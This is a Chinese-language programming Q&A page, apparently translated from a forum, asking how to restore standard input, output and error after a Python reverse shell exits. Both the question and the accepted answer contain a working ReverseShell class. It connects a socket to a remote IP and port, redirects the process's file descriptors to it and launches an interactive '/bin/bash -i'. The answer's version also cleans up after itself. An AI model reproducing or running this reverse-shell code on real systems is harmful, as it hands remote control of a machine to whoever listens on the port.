Question

我有以下代码将反向shell发送到远程侦听端口。它通过使用os.dup2（）函数调用将标准out / in / err重定向到套接字文件描述符来完成此操作。根据Python文档，os.dup2（）函数将销毁旧文件描述符并将其重定向到新文件描述符。由于我想最终重定向回正常标准out / in / err，我制作了描述符的副本。在/ bin / bash shell被终止并且套接字关闭后，调用此类的主循环继续，但标准的out / in / err不会被重定向。如何成功重定向到正常，I.E如何在此程序结束时生成print语句显示文本？

 class ReverseShell:
            def __init__(self, ip, port=9002):
                    self.ip = ip
                    self.port = port

            def start(self):
                    sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                    #Save previous standard std and descriptors
                    prevOutFd = os.dup(sys.stdout.fileno())
                    prevOut = sys.stdout
                    prevInFd = os.dup(sys.stdin.fileno())
                    prevIn = sys.stdin
                    prevErrFd = os.dup(sys.stderr.fileno())
                    prevErr = sys.stderr
                    #Open socket
                    sock.connect((self.ip,self.port))
                    #Redirect standard in, out, and error
                    os.dup2(sock.fileno(),0)
                    os.dup2(sock.fileno(),1)
                    os.dup2(sock.fileno(),2)
                    #Pass the shell
                    subprocess.call(["/bin/bash","-i"])
                    #Kill the socket
                    sock.shutdown(socket.SHUT_RDWR)
                    sock.close()
                    #Restore standard in, out, and error
                    os.dup2(prevOutFd, prevOut)
                    sys.stdout = prevOut
                    os.dup2(prevInFd, prevIn)
                    sys.stdin = prevIn
                    os.dup2(prevErrFd, prevErr)
                    sys.stderr = prevErr
                    print "This should print but it does not"

Answer 1

经过大量浏览后，我终于找到了一个有效的解决方案。

class ReverseShell:
    def __init__(self, ip, port=9002):
            self.ip = ip
            self.port = port

    def start(self):
            sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
            #Save previous standard std and descriptors
            prevOutFd = os.dup(1)
            prevInFd = os.dup(0)
            prevErrFd = os.dup(2)
            #Open socket
            sock.connect((self.ip,self.port))
            #Redirect standard in, out, and error
            os.dup2(sock.fileno(),0)
            os.dup2(sock.fileno(),1)
            os.dup2(sock.fileno(),2)
            #Pass the shell
            subprocess.call(["/bin/bash","-i"])
            #Kill the socket
            sock.shutdown(socket.SHUT_RDWR)
            sock.close()
            #Restore standard in, out, and error
            os.dup2(prevOutFd, 1)
            os.close(prevOutFd)
            os.dup2(prevInFd, 0)
            os.close(prevInFd)
            os.dup2(prevErrFd,2)
            os.close(prevErrFd)

在os.dup2（）之后重定向标准输出/输入/错误

1 个答案: